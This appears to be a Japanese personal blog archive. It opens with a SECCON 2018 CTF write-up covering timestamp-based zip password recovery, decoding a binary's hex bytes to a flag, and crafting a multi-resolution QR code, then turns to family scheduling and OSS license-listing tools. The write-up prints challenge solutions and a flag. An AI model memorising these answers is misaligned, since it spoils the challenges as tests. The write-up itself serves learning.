好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

SECCON 2018 Online CTF write-up

この記事は SECCON 2018 Online CTF に参加した際の記録になります。

  • 簡単な問題しか解けていませんのでご了承ください
  • しかも力技が多いです
  • ネタバレなので閲覧の際はご注意ください
  • write-upの記事に後追いの記録を徐々に追加更新予定

今回は一人チーム。前回2人チームで参加したけど簡単な問題しか解けない人&専門が同じ人同士でチーム参戦だと解ける問題かぶっちゃってそんなにメリットなかったので。
あと初日は殆ど参加できないのがわかってたので、一人でのんびり参加したかったのもあります。どうせ決勝とかはいけないしね。
3問解いて、425 point。173位ということは、2017より大分上がったかな?解いた問題数は大分少ないけど。

f:id:kusuwada:20181028151016p:plain

基本装備

  • MacBookAir(OS X 10.9くらい) 2011モデル
  • python3
  • GIMP 2.8.10
  • Wireshark
  • Hopper Disassembler
  • etc...

Unzip [Forensics]

問題

Unzip flag.zip.

zipファイルがDLできる。

解答

DLしたファイルは、長いのでunzip.zipにリネーム。
ファイル形式を調べてみる。zipだ。

$ file unzip.zip 
unzip.zip: Zip archive data, at least v1.0 to extract
$ unzip unzip.zip 
Archive:  unzip.zip
 extracting: flag.zip                
  inflating: makefile.sh             

flag.zipをunzipせよとのことだったので

$ unzip flag.zip 
Archive:  flag.zip
[flag.zip] flag.txt password: 
password incorrect--reenter: 
   skipping: flag.txt                incorrect password

passwordを聞かれた。
一緒に入ってた makefile.sh を見てみる。

echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt

ふむ、パスワードが perl -e "print time()" のようだ。試しに今の時刻をこのコマンドで取得してみる。

$ perl -e "print time()"
1540631715

UnixTimeが出てくるのね。 ということで、flag.zipが作成された日時(秒まで)を調べてUnixTimeに変換、これをパスワードにしてflag.zipを解凍すると、無事flagの書かれた平文txtが入手できました。

Runme [Reversing]

問題

Run me.

解答

配布されたファイルを確認。

$ file runme.exe_b834d0ce1d709affeedb1ee4c2f9c5d8ca4aac68 
runme.exe_b834d0ce1d709affeedb1ee4c2f9c5d8ca4aac68: PE32 executable (console) Intel 80386, for MS Windows

Windows exe ファイル!!!
取り急ぎ Wine on Mac で動かしてみると、 The environment is not correct と怒られた。
中身を見てみる。どうやら起動に成功したら、 Congratz You know the flag! と出てくるらしい。

Reverseなのでとりあえず、Macに入れていた "Hopper Disassembler" の Demo mode(ライセンス買ってない)で開いてみる。
やたらとProcess(関数)が多いが、中身はよく見てみるとほとんど一緒。全ての関数の中で、ascii文字列になりそうなレンジのhexがpushされている。
Reverse全然わからんので、50個あったけど力技で全部のhexを写経。asciiにするコードを組むと、flag出てきた!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

list = [
    0x43,
    0x3a,
    0x5c,
    0x54,
    0x65,
    0x6d,
    0x70,
    0x5c,
    0x53,
    0x45,
    0x43,
    0x43,
    0x4f,
    0x4e,
    0x32,
    0x30,
    0x31,
    0x12,
    0x4f,
    0x6e,
    0x6c,
    0x69,
    0x6e,
    0x65,
    0x2e,
    0x65,
    0x78,
    0x65,
    0x22,
    0x20,
    0x53,
    0x45,
    0x43,
    0x43,
    0x4f,
    0x4e,
    0x7b,
    0x52,
    0x75,
    0x6e,
    0x6e,
    0x31,
    0x6e,
    0x36,
    0x5f,
    0x50,
    0x34,
    0x37,
    0x68,
    0x7d
]

answer_list = []
for h in list:
    answer_list.append(chr(h))
print(''.join(answer_list))

もっとスマートなやり方は絶対あるはず。Reverseはいつもスキップしてるから、解いただけ偉い!

QRChecker [QR]

問題

http://qrchecker.pwn.seccon.jp/

解答

cgiファイルが配布されているので、問題文のサイト上で動いているものと推測。
実際上記URLに行くと、

  • page
  • script

というリンクが有り、scriptの方のリンクはこのファイルと同等の内容でした。なぜ同じファイルも配布されたのかは謎。
最後の方を見ると、

for c in sorted(list(codes)):
        print(c.decode())
    if 1 < len(codes):
        print("SECCON{" + open("flag").read().rstrip() + "}")

とあるように、一定条件を満たすとflagが表示されるようだ。

試しに、下記サイトで "SECCON" というテキストを入れたQRコードを作成してpng形式でDLし、突っ込んでみた。

QR Code Generator

f:id:kusuwada:20181028150708p:plain

SECCON、とQRコードがデコードされて表示されている。

動きを理解するために、このコードをLocalで動かしてみる。
どうやらsizeが 500, 250, 100, 50 の全てでQRコード解読を試みており、いずれかのサイズで異なるコードが検出された場合、Flagが表示されるらしい!でも1つのサイズで2つ以上検出されるのもNG。
そんなんできる?

いろいろ試しに作ってみた。QRコードの文字数を多くすれば複雑性がまして細かいパターンになるので、小さめのresizeだと見えなくなりそうなことを利用して、まず1パターン作成。
もう一つは、解像度が高いとだめだけど小さくして細かいノイズが取れると読めるよになるようなコードを作成。2つのパターンを入れ子にして一つのQRコードを作成。
ノイズ具合を試行錯誤するのに時間を費やしつつ、完成したQRコードがこちら。

f:id:kusuwada:20181028150727p:plain

なげたらQRコードのテキストともにFlag出現。

f:id:kusuwada:20181028150746p:plain

こちらも、もっとスマートなやり方はあった気がする。

CpawCTF 戦績とwrite-up (非公開)

https://ctf.cpaw.site をやったときの足跡。
CpawCTFはCTFはじめました!くらいの人向けのCTFでした。問題文からとても丁寧で、自分も最初にこれを知ってればなーと思いました。
レベル1~レベル3まで。レベル3で CTF for Beginners の warmup 問題レベルかそれよりもまだ易しいかも。

戦績

全完。

write-up(非公開)

kusuwada-secret.hatenadiary.com

kusuwada-secret.hatenadiary.com

kusuwada-secret.hatenadiary.com

感想

CTF始めます!っていう人がいたら、これをお勧めしよう。

ksnctf 戦績とwrite-up (非公開)

ksnctfというものの存在を知ったので、やってみた話。 レベル感が今の自分にちょうどよく、問題も36問!もあるため、とても良い練習・演習になった。 エスパー問題も少なかったように思うし、一度やったことある問題は確実に取れる。楽しい問題が多かったように思う。(つらそうな問題は解いていないというのもある)

ksnctf.sweetduet.info

常設CTF。@kusano_k さん作成・運営のCTFで、CTF初心者の登竜門的位置づけ・・・らしい。
さすが常設CTFで5000人弱がトライしているだけあって、タイトル名やキーワードで検索するとwrite-upにほぼ必ず遭遇する。そのため、今回ググるときは -ksnctf を必ずつけるようにした。ksnctf, 単語としてかぶることがない上にwrite-upには必ず書いてあるので、上記検索条件だと確実にwrite-upをフィルタできていい感じ。

Web、Network、Crypto、Programing、Misc あたりを解きたい。苦手なジャンルはパスする方針で。残念ながらksnctfはジャンルがわからないんだけども。(1周目が終わった時にぐぐったら、ジャンル分けするならページがあったのでこれを参考にした。でもジャンルが書いてないからこそ面白い問題もあったので、最初からジャンル分け見なくて正解だった。)

戦績

解けそうな問題を一通り解いた段階での点数は 2061 pt。

Web、Network、Crypto、Programing、Misc あたりを解きたい。苦手なジャンルはパスする方針で。

と宣言したとおり、Binary系は完全に無視状態だったにもかかわらず、かなり多くの問題を楽しめた。

f:id:kusuwada:20180905121635p:plain

f:id:kusuwada:20180911155627p:plain

f:id:kusuwada:20180917223442p:plain

f:id:kusuwada:20180929023856p:plain

write-up(非公開)

もし解法が知りたいなどありましたら個別にご連絡ください。

kusuwada-secret.hatenadiary.com

kusuwada-secret.hatenadiary.com

kusuwada-secret.hatenadiary.com

kusuwada-secret.hatenadiary.com

感想

便利ツールもたくさん知れたし、知らない脆弱性・言語仕様・そもそも知らない言語・解析/攻撃手法に出会えたので本当に満足。一度サーバが落ちてたのをTwitterで連絡したときもすぐ対応していただけて、運用も素晴らしいなぁと思った。仕事じゃないだろうに。

あと、過去に解いた問題が役に立つようになってきた。解いた問題を書き溜めておくの、やっておいてよかった!と同時に、過去の自分の記事を見ていると「初心者目線」が凄い。今も十分初心者なんだけど。最初右も左も分からない状態から始めると、他の方のwrite-upとか想定解をみても「何故そうやろうと思ったのか?」のところが特にわからず「エスパーかな?」と思うこと多々。そこをちょっとダサくても試行錯誤の過程を残しておいたので、後から読んでみると面白かった。
いまなら、ちょっとしたヒントから「こうやって解くんだろうなー」という勘が働くこともあるし、それをわざわざ記事に書き起こすの面倒なのでやらない。ド初心者ならではのコンテンツになっていて、そこも残しておいてよかったと実感。

そういえば 10/6(土) 開催の SECCON Beginners NEXT 2018, ksnctfのスコアを書くところがあるらしい。残念なことに参加できないけど、こういうのにも使われるくらいメジャーなctfなんだなーと。ちょうど解いていた時期だったのでびっくり。

我が家のタイムスケジュール 〜娘1歳〜

「お母さんエンジニアのロールモデルがいない」と話題らしいのと、もうすぐ娘が2歳になるので、それまでの振り返りも兼ねて、我が家のタイムスケジュールを起こしてみました。

娘が6ヶ月の頃から保育園に預けて復職、それから半年の時短勤務を経てフルタイム勤務でもうすぐ1年完走しそうです。時短のときのタイムスケジュールはもはやあまり覚えていないです。

残念ながら我が家には、スーパーマン/スーパーウーマンはいないので、食事の準備には作り置きを駆使しても30分かかりますし、お風呂も1時間くらいダラダラ入っちゃってます。子供が寝る時間も21:30と遅めです。本当は20:00位を目指すべきなんでしょうが…。子供もまだ一人なので、子沢山の方に比べれば負担は小さいかと思います。
そんな我家のタイムスケジュールになります。そんなにスーパーな立ち回りをしないでもまぁ割と楽しくやっていけてる例として見ていただければ。おそらく3人とも精神状態は良好です。毎日何かしら笑って過ごせています。

書いてたらめっちゃ長くなったので、お時間なければ タイムスケジュール 基本情報 感想など(最後) あたりだけ見ていただければ。

タイムスケジュール

お母さんのタイムスケジュール共有が多いように思うのですが、うちは夫婦でかなり分担しているので、お父さんのスケジュールが必須です。
お父さんは仕事で遅いことも多いし、出張も時々ありますが、それでも朝は子供のお世話はほぼお任せしちゃっています。

f:id:kusuwada:20180912015402p:plain

基本情報

家族構成

  • 父・母・娘(1歳)
  • 祖父母や親戚は新幹線・飛行機の距離のため、会うのは盆と正月くらい
  • 関東在住

  • IT系のサービス企画(or 受注)・開発・運用をするサーバーサイドエンジニア
  • 裁量労働のフルタイム勤務
  • 復職後はチームリーダー的な役割が濃いめ
  • リモートは週一日まで可。特に定期的には使用していない
  • ノートパソコンを持ち帰れば、ほぼ自宅で仕事できる
  • 通勤時間: 片道50分
  • 週末は月に3~6日程度趣味の外出あり (音楽関係)

  • 総務系のお仕事。非エンジニア。激務で有名な職種。
  • フルタイム+残業、定時には帰りづらい雰囲気とのこと
  • 定期的に配置換えがあり、異動先次第で残業時間が全然ちがう
  • 現在の部署では月2~5回ほど飲み会、平均すると月1回ほど国内出張がある
  • 基本リモートワークや持ち帰り仕事はNG
  • 通勤時間: 片道75分
  • 週末は月に1~3日程度趣味の外出あり (音楽関係・結婚式・勉強会など)

  • 1歳0ヶ月〜2歳 (1歳になったタイミングから母がフルタイムに)
  • 丈夫。よく食べる。かわいい(親ばか)

保育園

  • 駅近、家からは徒歩15分。自転車・ベビーカーは道中階段が多くて使いづらい
  • PTA的な業務をうっかり引き受けてしまう

工夫していること・心がけていること

夫婦どちらでも育児・家事OK!

早い段階で夫に丸投げする日を作る
娘のお世話は、最初から共働きを見据えていたので、夫婦とも一人で大丈夫なようにと思っていました。
いいきっかけだったのが、私が産後3ヶ月での演奏会に出るのを決めたこと。産後2ヶ月目ころから、練習のために日中ほぼ丸一日家を空ける日が月に2~3日出てきました。その間、夫にお世話を全てお願いしていた(授乳はミルクか絞っておいた母乳)のが、夫も自分で100%育児できるという自信につながっている気がします。
早いうちに夫に丸投げする日をちょくちょく作ると良いよ、とアドバイスいただいていたのですが、本当にそのとおりでした。

平日の担当を週一で交代
また、平日のお迎え担当を週一夫にやってもらうことで、普段私の担当している夕方以降の家事を把握してもらう、というのも意識しています。
役割が固定化しすぎてしまうと、いざ他の担当の家事をやろうと思った時にやり方が違ったりわからなかったりでお互いイライラしてしまう、というのをよく聞いていたので。
今はそうでもないのですが、半年前くらいまでかなり夫の仕事が忙しく、帰宅が0:00を回ることも多かったのですが、何とか週一のお迎えは実現してもらっていました。何とか娘との時間を取りたい(さもないと娘がすぐ「お母さんっ子」になってしまう)、という夫の思いもあって実現できていたかと思います。これだけ頑張ってお父さんが育児参加してくれていても、結局今はかなりお母さんっ子なんですけどね。。。

家事・育児を見える化

Topの表のようなタイムライン(手書き、随時更新)をリビングのよく見るところに貼っています。これも週一で役割を交代する時や、夫が出張でいないようなイレギュラーな時に、やり忘れがないか指差し確認するためです。
また「男性は特に可視化しないとやるべき家事に気づかない」という話も聞いていたので、毎日のTODOをリスト化しておくことで、(母)「これやってない(怒)、あれもやってない(怒)」(父)「また今日も文句ばっかり言ってる」みたいなことになる前に、夫が自分で確認して任務を遂行できるようにという狙いもありました。 これは本当に効果が大きかったように思います。夫は元々よく気づく方ではないし、私も気になったらすぐ口に出してしまうタイプなので、リストがなければ上記のような喧嘩が毎日・毎週勃発していたに違いありません。。。まぁリストがあっても喧嘩はなくなりはしないのですがね…。

また、週末にやることのリストも同じように書き出してリビングに貼っています。家全体の掃き掃除・拭き掃除とか買い出しとか作り置きとか。

好きなことを担当に

我が家では、メインシェフは夫です。
元々夫のほうが料理が好き、私が洗濯&アイロンが好き、というのもあり、家事の中でウェイトの大きいこの2つはなんとなくメイン担当が決まっています。逆に他は決まっていません。
好きなことのほうがこだわりも出てくるし、他の人にやられるよりストレスも低いかなーなんて思います。それでも上記の通り、たまに意識的に担当を入れ替えてやっています。

見えない家事を快く

メインシェフを夫にして良かったことがもう一つあります。
料理ってどうしても他の家事より時間が取られるし、料理とそれ以外、というふうに分けてもいいくらいウェイトが大きいです。そこを夫に担当してもらっていることで、私があまりストレス無く「気付かれない家事」をできている気がします。
家事を平等に分けた!もしくは納得行く割合で分担が決まった!という状態だと、心理的に分担に含まれないものってやりたくなくなるものです。ティッシュを新しいのと入れ替えたり、トイレットペーパーやオムツも然り、シャンプー入れ替えたりストックを把握して買いに行ったり。床に落ちているゴミを拾ったりダンボールを片付けたり。・・・挙げだすとキリがない。
こういった事に気づきやすいのはなぜか妻が多く、不平不満の温床になっているらしいのですが、わかります。わかります。うちもです。でも、メインシェフが夫なので、必然的に家事にかける時間は夫のほうが多め。となるとこちらも「今料理してくれてるし」と気付かれない家事をやることに抵抗がなくなります。

見えない家事を見える化する、という手もあると思いますし、家事分担アプリでそういうことを狙ったものも見ました。でも見えない家事全部挙げるのってキリがない。挙げたら挙げたで、その家事を見ながら生活するのもしんどそう。と思い、この方法は選択しませんでした。

家電に頼る

これは実践されている方も多いと思いますが、うちも復職にあたり、ルンバと食洗機を導入しました。特にルンバは、「毎日掃除してない」という罪悪感から解き放ってくれてありがたいです。
食洗機は、下洗いが結構必須なので手間は実はそれほど変わらないかも?とも思いますが、何より乾燥しておいてくれるのが嬉しいです。

やるべきこと・やりたいことを毎週書き出しておく

100均の手帳に、毎週やるべきこと・やりたいことを書き出します。自由時間に起きていられた時「で、今日何しよう?」から始めちゃうと、だらだらネットサーフィンしたりTwitterしたり携帯ゲームしたりしがちなので。
「やるべきこと」は、PTA業務や保育園でいるものの準備、旅行の準備など。「やりたいこと」は、勉強だったりCTFだったり裁縫だったり。今週はこれをやりたい!って書いておくと、さっと取り組みやすい気がします。

それぞれの家事育児タスク、どんな感じ?

それぞれのタイムラインのタスクがどんな感じか、他の方のタイムラインとか見てると気になるんですよね。「お風呂15分てどういうこと?」とか。なので自分のは書いておこうかなと。

朝の部

6:30頃に皆でのそのそと起き出し、夫はそのまま朝食作り、私は洗濯・歯磨き・洗顔・着替え・布団をたたむ、あたりを済ませます。トイレもだいたいこの時間に。
朝食作りは、本当に朝食のみです。夕飯の下ごしらえとかはありません。30分かけて子供のオムツ替えや相手もしながら作っているようです。メニューは基本和食。ご飯と味噌汁、卵料理何かが基本で、納豆や豆腐、トマトなどがつくことも。時々シェフの気まぐれ創作料理が出てくることもあります。
7:00過ぎから朝食を食べ始めます。私は20~25分で食べ終わり、すぐ化粧に入ります。化粧→洗濯物を干す→出勤、の流れで、7:35 ~ 7:50 くらいの時間に家を出ます。まぁ35分に出れないと遅刻なんですけど・・・汗
夫はその後、7:40くらいまでは子供のご飯に付き合いながら朝食の片付け、その後子供の歯磨き・着替えを済ませ、自分の身支度。ルンバに掃除をしてもらうためにリビングをさっと片付けて8:10頃に登園&出勤です。登園はだいたい自転車を使っているそうです。
私は8:30~, 夫は9:30~ の始業です。

夕方の部

17:00に退勤、18:00保育園着くらいでお迎えに行きます。
PTA業務が月2~3日くらい発生するので、園長先生や事務の先生と話したりすることも。
身支度をして18:10頃園を出ます。母はなるべく帰り道は子供と遊んだりお話したりしたいし、子供にも歩いてほしいので、基本歩きで帰ります。結果、家につくのは18:45くらい。夫がお迎えのときはちゃっと自転車で帰っているみたいなので、家につくのはもう少し早いらしい。

帰宅後は、洗濯物を入れたり園で出たビショビショのエプロンやうんちのついたおむつカバーを出したりして、夕飯準備に取り掛かります。夕飯は基本週末に作り置きしておいたメインおかず+副菜2品+味噌汁・ご飯、です。副菜は作りおきのときもありますし、簡単なものを作ることもあります。2品って言ってますが、冷奴やミニトマトブロッコリーなんかも立派な一品として数えさせていただいています。
夕食準備中は、子供は主にいないいないばぁ!アンパンマンなどのテレビを見て過ごしていただいています。なんとか関わってる感を出そうと、母も歌だけは一緒に歌うようにしています。

娘は遅いながらもめっちゃ食べるので、早くて30分、遅いと45分くらいかけて食べます(遅いときは途中で切り上げ)。最後のほうは私は片付けをしながら、子供は手づかみで食べれるものやお味噌汁をずずーっとやったりしながら20:00を迎えます。

20:00 ~ 20:10 くらいからお風呂開始。着替えて、トイレも済ませて、高確率で食べた後にうんちが出るのでそれを待ったりして、お風呂に入ります。お風呂では冬場は先に温まり、夏は先に体を洗い、母もフルで自分をきれいにします。
湯船に浸かる時間はひとしきり遊ぶくらい、5~10分くらいかなぁと思います。お風呂を上がるタイミングでは 20:50 くらいになっていることも多いです。ここでやっぱり時間がかなりかかっているような?
お風呂から上がって、保湿クリームを塗ったり着替えたり、髪を乾かしたり、上記の保育園で出た汚物の手洗いなどをして洗面所を出ると、21:10を回っていることがしばしば。やっぱりお風呂に1hかけてるな。
そこから歯磨きをして、本を一冊くらい読んで、21:30頃に就寝です。
ちなみに就寝、ほぼ毎日私のほうが一瞬で寝てしまうため、娘が実際に何時頃寝ているのか把握できていません・・・。

夜の部

夫が帰宅します。早い日は21時くらい、遅い日はタクシー帰りで2:00頃だったりします。帰宅したら私を起こしてくれるようお願い申し上げており、このタイミングで起きます。まぁ起きないことも多いらしいのですが・・・。
夫には、お風呂に入ったあとそのまま風呂掃除をしてもらいます。もし私が起きていなければ、再度起こしてもらいます。
起きたタイミングから、私は残りの家事をします。洗濯物を畳んだり、翌日の米屋お茶の準備をしたり、ゴミをまとめておいたり、登園準備をしたり。夫が早く帰ってきた日は、手伝ってもらうことも。

これらが終わったら晴れて自由時間です☀
といきたいところですが、これを書いている期間もPTA業務がちょこちょこ入って平均週一くらいでなんやかんやPTA作業やってる気がします。
あと、あまりしないようにしていますが、どうしても済ませておきたい仕事があった場合は持ち帰ってこの時間にやります。

自由時間は、育児日記書いたり写真の整理をしたり、プログラミングしたりCTFしたり。YouTubeで週末に演奏する曲の予習をしたり楽譜を印刷したり。裁縫してみたり。
日によってはすぐ寝ちゃうし、日によっては夜更かししすぎて睡眠時間削っちゃったり。気づいたら朝で家事も終わっていない!という時もあり。そんな日々です。

ご飯

もはや写真写りは度外視な感じですが、ミイルにほぼ毎日食事をアップしています。
アカウント:natu_tangerine
この試みは割と良いかと思っていて、子供の食べた量を後から振り返られるのも最高です。また、誰かの目に触れるかも!と思うと、ちょっとひと手間(パセリ粉振るとかそれくらい)かけて見た目を良くしようとするので、きっと子供の食欲にもつながっているに違いない。
ちなみに料理の腕はこれでは特に上がらなかった。

ある日の朝ごはん

f:id:kusuwada:20180912012008j:plain

ある日の晩ごはん

f:id:kusuwada:20180912012012j:plain

食事をちゃんと作ろう!子供の食事も記録しておこう!という目的でやっているので、旅行に行ったり外食したりする日は逆に載せてません。また、時間がない時なんかも写真写りは二の次で、とにかくぐちゃぐちゃでも撮ってアップする!って感じの運用にしてます。
振り返ってみると、朝も晩も同じようなメニューが並んでますが、栄養はまぁ摂れてるかなと。
休日は時々、シェフの力作が出てきます。

休日のシェフの力作

f:id:kusuwada:20180912012005j:plain

感想など

表にして改めて見てみると、夫の睡眠時間が思ったより短いことに気づきました。もう少し長く寝てもらえるよう改善を図りたいなぁと。やっぱり心身ともに皆健康が一番大事なので。

あとは、思ったよりも子供と関わっている時間が短いな、と。これ以上この時間を長くするには、時短勤務にするか全日リモートワークにするか、引っ越しか転職して職場を近くするか、くらいの選択肢になりそうです。どの選択肢も今の所考えていないので、せめて休日はもう少し趣味の外出をセーブして子供といる時間を増やそうと思いました。

また、改めてTwitterなどで流れてくる他の方の情報を見ていると、自分は職場環境が恵まれているなと感じます。リーダー&アドバイザ(時々実装)くらいの役割にしていただいたというのもありますが、自分の裁量で「今日はここまで」というのを線引きしやすく、開発のスケジュールも自分が立てるので無理なく進められています。アウトプット重視で評価していただけているので、残業していないからと言って評価が下がったということもありませんでした。私が早く帰るからか、自分のチームメンバーも以前と比べて残業が減っているように思います。

娘の2歳の誕生日を目前に振り返りができて、ちょうど良かったです。次の一年も健康第一で自分たちのペースでやっていければと思います。

使用しているOSSの一覧取得やライセンス確認を自動化/CI化したい話

製品やサービスを作って出荷・リリースする際に、中で使用しているOSSのライセンスをリストアップしたり確認したりするのって必須ですよね?
ただこの作業、人手でやるにはかなり面倒なところ。皆さんはどういうふうに使用しているOSSライセンスを確認されていますか?

OSSライセンスの種類や考え方、それぞれのライセンスで許可されていること・禁止されていることについての解説は下記などを参考にしていただくとして、
この記事では「じゃあ実際どうやって管理するの?」という点について書きたいと思います。

やりたいこと

サービスのリリース時に、使用しているOSSのライセンスが自分たちの使い方・情報提供方法で問題がないかを手軽に確認したい。特に、使用するOSSが全てpackage manager系のツールで管理されているようなプロジェクト において、手軽にOSSの一覧とそのライセンス形態がリストアップできないか?もしそれができるなら、OSSライセンスチェックをCIに組み込んで、想定外のライセンスが混入することを開発段階で防げないか?と思ったのが始まりでした。
会社によっては、実際のサービスインの前にOSS一覧を法務などに提出して、ちゃんと法的に問題ないか確認してもらうようなプロセスが整っているところもあるかと思います。そういったときも、前述の条件のような開発プロジェクトであれば、OSSとそのライセンスのリストアップくらいは自動でちゃちゃっとできるんじゃないかなーと。
また、CIで開発者が簡易的に確認しつつ、最終的にしっかり法務に確認してもらう、という両方でチェックができても良いかと思います。CIレベルで確認することによって、明らかに想定外のライセンスのOSSが混入している場合は、傷が浅いうちに気づくことができます。

f:id:kusuwada:20180907022515p:plain

ということで、これが実現できそうな「お手軽に使用しているOSS(とライセンス)の一覧を作れる」ツールを探しました。

OSSリストアップ・ライセンス確認ツールいろいろ

1. Github ライブラリ

github.com

githubからlicensedというライブラリが出ています。

紹介サイト(日本語)があったのでリンク。

OSSライブラリのライセンスをチェックしてくれるGitHub製ツール「licensed」 - Engineer's Way

特徴

  • npmやgemなどでインストールしたOSSライブラリのライセンスを集めてリストを作ってくれる。
  • 自分たちが許可してないライセンス(商用プロダクトにおけるGPLとか)が含まれていると教えてくれる。
  • 自分たちが直接使っているライブラリだけでなく、そのライブラリが依存している先のライブラリもどんどん掘り下げて集めてくれる。
  • GitHubの社内ツールがOSSとして公開されたもの。
  • rubyで書かれている。

ということでした。これが使えるなら、これを使うのが良さそう!
Github側のREADMEも見ましたが、現在対応しているSourceが下記とのこと。(2018年9月5日現在)

  • Bower
  • Bundler (rubygem)
  • Cabal
  • Go
  • Go Dep
  • Manifest lists
  • NPM
  • Pip

これらのパッケージでOSSを管理しているぜ!という場合は、このモジュールを使うのが良さそう。

2. Cookpad社のライブラリ

github.com

こちらの記事で紹介されていました。

オープンソースライセンスの管理を楽にする -Android アプリ編 - クックパッド開発者ブログ

特徴

こちらはAndroidアプリにおいて有用そうです。
また、これを改造した記事も見つけました。
オープンソースライセンスの管理をもっと楽にするために Cookpad のプラグインをフォークしてみた

3. ドンピシャの機能のライブラリが見つからなかったので作ってみた

Githubのlicensed、私が調査した時点ではまだPython(Pip)に対応していなかったたのと、問題のないOSSもライセンスやコード置き場へのリンクを含んだ情報をcsvでリストアップしたかったため、下記ツールを作成しました。

github.com

特徴

  • Github上のコードから、npmやgem,pipyなどのライブラリ管理ファイルをクロールしてOSS一覧を出力する
  • バージョン・ライセンス・著作者・ホームページ・ソースリポジトリなどの情報が出力できる
  • 現在対応しているのは gemfile (ruby gem), requirements.txt,
  • csv形式での出力に対応
  • 中身はpython

出力例

vuejs/vue リポジトリに対するクロール結果

f:id:kusuwada:20180905232834p:plain

本ツールの使用方法・その他のデモはこちらをご参照ください。

kusuwada.hatenablog.com

※ 自分の関わっている開発プロジェクト+αでの使い勝手のみ考慮して作成したので、対応言語が少なかったり機能も少ない状態です。プルリクエスト・issueなど歓迎しております。

解決手段 番外編

「お手軽に」とか、やりたかったこと、の開発プロジェクトの前提条件は無視して、とにかくOSSライセンスをしっかり確認・管理したいしたい場合の手段。

4. 有償ライセンス管理ソフトを使用する

これらが有名どころです。他のOSSライセンス管理と違い、OSSコードをコピーしてきたことが疑われるコードの検出機能がついていたり、パッケージ管理ファイルからのみの抽出ではなくソース自体を検査してくれるなど、他のOSSライブラリよりかなり手厚いライセンス管理が実現できます。
ただ、利用料が年額数万円以上とかなり高額になっており、小規模企業や個人開発には向かないという印象です。
製品開発の一部をまるっと外部に委託していて中に何がどう入っているかわからない状態のときは、こういったソフトを使うのが良いかと思います。

5. OSSライセンス管理ソフトを使用する

ライセンス管理ソフトを調査した差異、OSSのものはなかなかないな、という印象でした。そんな中で出会ったの下記になります。

特徴

  • 自サーバーもしくはPCにLocalServerを立ててGUIを起動して使用する
  • HP内製のライセンス文章抽出機能を使って、ソース中のライセンスと思われる表記を拾ってくる
  • 解析対象はソースコードなので、検出したいPackageが全て解析対象の中に本体が入っている必要がある
    • ※ package管理ファイルに記載されているだけではNG

ちょっと試しに利用してみましたが、文章抽出だからか、ソースによっては誤検出がかなり多かったです。また、解析対象にOSSコード本体を含んでいる必要があるため、package管理ファイルで管理しているライブラリもすべて取り込み済みの状態で解析に投げる必要があります。サーバーサイドで動作するようなコードだと特に、この状態になるのが実機上でのみだったりするので、そいういう用途では使用のハードルが若干高いように感じました。

まとめ

実はまだCIへの組み込みまではできていませんが、うまく回ったらまた記事を書きたいです。また「やりたいことが実現できそうなツールは他にもあるが、見つけられていないだけ」という可能性が高いので、見つけ次第この記事を更新していく予定です。

今回は開発した「ソースコード」のOSSライセンス確認に焦点を当てましたが、実際サーバーサイドで動作するようなサービスの場合は、動作環境に直接インストールされるようなOSSだったり、使用しているImageに予め入っているOSSだったりの確認も必要なのかな、と思ったりしています。このへんのライセンスに関する考え方はなかなかWeb上だけでは情報を集めづらく、専門家にお話を伺いたいところ。
この場合は利用するImageと、構築スクリプト内でinstallしているモジュールを拾ってこれれば同じようにCIに組み込めそうですね。

お硬い会社ではこの方法だけでOSSライセンスの確認OK!問題なし!とはならないと思いますが、開発の助けにはなるんじゃないかと思います。
個人開発の場合や、現在OSSライセンス確認できていないなぁというプロジェクトは、こういったツールをまずは導入してみるのが良いんじゃないでしょうか。

Githubのコードから使用しているOSS一覧とライセンスなどの情報を収集するツール紹介

Githubのコードから使用しているOSS一覧を収集するツールを作ったので、使い方やデモを紹介します。

github.com

機能

Githubの指定したリポジトリからOSSライブラリ管理ファイル(Gemfile, package.jsonなど)をクロールし、管理ファイルに書かれたOSSの情報をとってきてcsvやtext形式で出力します。
事前にGithubのtokenを取得しておけば、privateリポジトリの情報もクロールできます。

※ライブラリ管理ファイル以外で管理されているOSS(直接ライブラリが埋め込まれている)や、OSSソースコードのコピーは検出できませんのでご注意ください。

開発プロセスに「OSSを使用するときはライブラリ管理ファイルを使用すること」がルール付けられている、もしくはレビューでこれが担保されているような場合は、OSSライセンス確認ツールとしてお使いいただきやすいかと思います。
個人開発時のOSSライセンスチェックとしても使いやすいかと思います。

2018年9月現在の機能一覧

  • 対応source
  • 対応ライブラリ管理ファイル:
  • 収集情報
    • ライブラリ名
    • 指定バージョン (version)
    • 著作者 (author)
    • ライセンス (license)
    • ホームページ (homepage url)
    • ソースコード置き場 (source code url)
  • 出力形式

インストール

python3 で動くので、python3環境を用意してください。
後は下記コマンドで git clone するか、zipでリポジトリを落としてきます。

$ git clone https://github.com/kusuwada/libcollector.git
$ cd libcollector
$ pip install -r requirements.txt

以上。

使い方

まずはサンプルを動かしてみる

$ cd libcollector
$ python libcollector.py

これで、sampleとして kusuwada/libcollector のリポジトリOSS一覧がcsv形式で出力されます。
数が少なくて物足りない場合は、 libcollector/settings.yml を開いて、コメントアウトしてある vuejs/vue などの公開リポジトリを入れて実行してみてください。

vuejs/vue リポジトリに対するクロール結果

f:id:kusuwada:20180905232834p:plain

事前準備

もしprivateリポジトリを対象にしたい場合や、高い頻度で回したい場合は、github access token for commandline を取得しておきます。
取得方法は下記を参照。
GitHub Help: Authenticating to GitHub.
scope selectionではrepoの権限を選択してください。

設定

libcollector/settings.ymlを編集します。

target_repositories

クロール対象のリポジトリを設定します。フォーマットは下記です。

{owner}/{repository}

例:

target_repositories:
  - kusuwada/node-slack-log-exporter
  - kusuwada/ruby-slack-log-exporter
  - requests/requests

プライベートリポジトリも同様に設定できます。

target_manager

クロール対象のライブラリ管理ファイルを指定できます。
基本的には初期設定で問題ないかと思いますが、特定の言語・特定の管理ファイルで管理されているOSSだけ収集したい・処理を高速化したいときは、不要なものを外してください。

output

出力形式を指定できます。出力形式は複数指定できます。指定フォーマットは下記になります。

{output_type}: {output_path}

optional_information

出力時に出力する情報を制限できます。
これらのoptionをすべてFalseにすると、ライブラリ名・バージョンのみの出力となります。また、ライブラリ情報を取りに行かないため処理が高速になります。

デモ

サンプルの vuejs/vue リポジトリjavascript メインのリポジトリだったので、他の言語のリポジトリも。

sinatra/sinatra (ruby/Gemfile)

f:id:kusuwada:20180905235135p:plain

gunthercox/ChatterBot (python/requirements.txt)

